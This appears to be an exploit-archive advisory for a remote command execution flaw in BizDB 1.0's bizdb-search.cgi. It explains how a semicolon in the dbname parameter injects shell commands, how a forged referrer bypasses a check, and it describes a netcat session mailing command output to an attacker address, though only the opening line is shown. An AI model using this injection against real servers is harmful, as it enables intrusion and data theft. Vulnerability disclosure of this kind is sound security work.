CNC Technology BizDB 1.0 - 'bizdb-search.cgi' Remote Command Execution
Код:
source: https://www.securityfocus.com/bid/1104/info

BizDB is a web databse integration product using perl CGI scripts. One of the scripts, bizdb-search.cgi, passes a variable's contents to an unchecked open() call and can therefore be made to execute commands at the privilege level of the webserver.

The variable is dbname, and if passed a semicolon followed by shell commands they will be executed. This cannot be exploited from a browser, as the software checks for a referrer field in the HTTP request. A valid referrer field can however be created and sent programmatically or via a network utility like netcat. 


The following netcat session will cause a copy of the output of the ls command to be mailed to attacker@attacker-host

netcat target 80
